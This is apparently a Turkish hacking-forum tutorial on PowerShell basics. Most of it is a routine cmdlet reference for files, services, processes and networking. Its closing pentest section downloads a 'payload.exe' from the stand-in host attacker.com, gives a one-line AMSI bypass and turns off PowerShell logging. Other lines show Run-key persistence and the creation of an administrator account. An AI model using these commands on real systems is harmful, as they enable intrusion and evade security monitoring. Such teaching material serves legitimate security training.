PowerShell Temelleri

PowerShell Temelleri (Detaylı Anlatım ve Uygulama Teknikleri)​

PowerShell, Windows'ta en güçlü komut satırı aracıdır. Hem yönetim hem de güvenlik testleri için vazgeçilmezdir. Bug bounty ve pentest'lerde özellikle Active Directory, sistem yönetimi ve otomasyon için kullanılır.


PowerShell Temel Kullanım​

powershell
# PowerShell açma
# Başlat → PowerShell (Admin) veya Win + X → PowerShell (Admin)

# Yardım
Get-Help
Get-Help Get-Process -Detailed

# Komut listesi
Get-Command
Get-Command *Process*

PowerShell Core Komutlar (Cmdlet'ler)​

powershell
# Dosya ve Dizin İşlemleri
Get-ChildItem # ls / dir
Get-ChildItem -Recurse # Recursive listeleme
New-Item -ItemType Directory -Path C:\YeniDizin
New-Item -ItemType File -Path C:\dosya.txt
Remove-Item C:\dosya.txt
Remove-Item -Recurse C:\Dizin
Copy-Item C:\kaynak.txt C:\hedef.txt
Move-Item C:\dosya.txt C:\YeniDizin\

# Dosya İçeriği
Get-Content C:\dosya.txt # cat / type
Set-Content C:\dosya.txt "Yeni içerik"
Add-Content C:\dosya.txt "Yeni satır"
Select-String -Path *.txt -Pattern "aranan" # grep

PowerShell Sistem Bilgileri​

powershell
# Sistem Bilgisi
Get-ComputerInfo
Get-WmiObject -Class Win32_OperatingSystem
Get-WmiObject -Class Win32_Processor
Get-WmiObject -Class Win32_PhysicalMemory

# Servisler
Get-Service
Get-Service -Name *sql*
Start-Service -Name Spooler
Stop-Service -Name Spooler

# Süreçler
Get-Process
Get-Process -Name chrome
Stop-Process -Name notepad
Start-Process notepad.exe

# Ağ Bilgileri
Get-NetIPAddress
Get-NetAdapter
Test-NetConnection google.com -Port 443
Resolve-DnsName google.com

PowerShell Dosya İşlemleri​

powershell
# Dosya Bulma
Get-ChildItem -Path C:\ -Recurse -Filter "*.log"
Get-ChildItem -Path C:\ -Recurse -File -Size +100MB

# Dosya İçinde Arama
Get-ChildItem -Recurse *.txt | Select-String "password"
Get-ChildItem -Recurse *.config | Select-String "connectionString"

# Dosya İzinleri
Get-Acl C:\dosya.txt
Set-Acl C:\dosya.txt -AclObject $NewAcl

# Hash Hesaplama
Get-FileHash C:\dosya.txt -Algorithm SHA256
Get-FileHash C:\dosya.txt -Algorithm MD5

PowerShell Ağ ve Güvenlik​

powershell
# Firewall
Get-NetFirewallRule
New-NetFirewallRule -DisplayName "Allow Port 8080" -Direction Inbound -LocalPort 8080 -Protocol TCP -Action Allow
Remove-NetFirewallRule -DisplayName "Allow Port 8080"

# Kullanıcı ve Grup
Get-LocalUser
Get-LocalGroup
New-LocalUser -Name "TestUser" -Password (ConvertTo-SecureString "P@ssw0rd" -AsPlainText -Force)
Add-LocalGroupMember -Group "Administrators" -Member "TestUser"

# Event Log
Get-EventLog -LogName Security -Newest 20
Get-EventLog -LogName System -EntryType Error -Newest 20
Get-WinEvent -LogName Security -MaxEvents 10

# Registry
Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" -Name "MyApp" -Value "C:\app.exe"
Remove-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" -Name "MyApp"

PowerShell Otomasyon ve Script​

powershell
# Değişkenler
$name = "Hedef"
$age = 25
$users = @("admin", "user1", "guest")

# Döngüler
foreach ($user in $users) {
Write-Host "Kullanıcı: $user"
}

for ($i=1; $i -le 10; $i++) {
Write-Host $i
}

# Koşullar
if ($age -gt 18) {
Write-Host "Yetişkin"
} else {
Write-Host "Çocuk"
}

# Fonksiyon
function Get-UserInfo {
param(
[string]$Username
)
Get-LocalUser -Name $Username
}

# Pencereyi gizli çalıştırma
Start-Process powershell -WindowStyle Hidden -ArgumentList "-Command {Get-Process}"

PowerShell Pentest Komutları​

powershell
# Ağ Keşfi
Test-Connection 192.168.1.1 -Count 1
Test-NetConnection 192.168.1.1 -Port 445
Get-NetNeighbor # ARP tablosu
Get-NetRoute # Routing tablosu

# Servis Keşfi
Get-WmiObject -Class Win32_Service | Where-Object {$_.State -eq "Running"}
Get-Service | Where-Object {$_.Status -eq "Running" -and $_.StartType -eq "Automatic"}

# Kullanıcı Keşfi
Get-LocalUser | Where-Object {$_.Enabled -eq $true}
Get-WmiObject -Class Win32_UserAccount

# Payload İndirme
Invoke-WebRequest -Uri "http://attacker.com/payload.exe" -OutFile "C:\temp\payload.exe"
(New-Object Net.WebClient).DownloadFile("http://attacker.com/payload.exe", "C:\temp\payload.exe")

# AMSI Bypass (eğitim amaçlı)
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

# PowerShell Logging'leri devre dışı bırakma
Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\PowerShell\1\PowerShellEngine" -Name "PSModuleLogging" -Value 0

🔒 Bu içeriği görmek için giriş yapın

 
Yanıt yazmak için giriş yapmalısınız
Forum özelliklerini kullanmak ve Level 2 üyelik satın almak için hesabınıza giriş yapın.
133,675Konular
3,288,638Mesajlar
324,376Kullanıcılar
alexsandresSon Üye
Üst Alt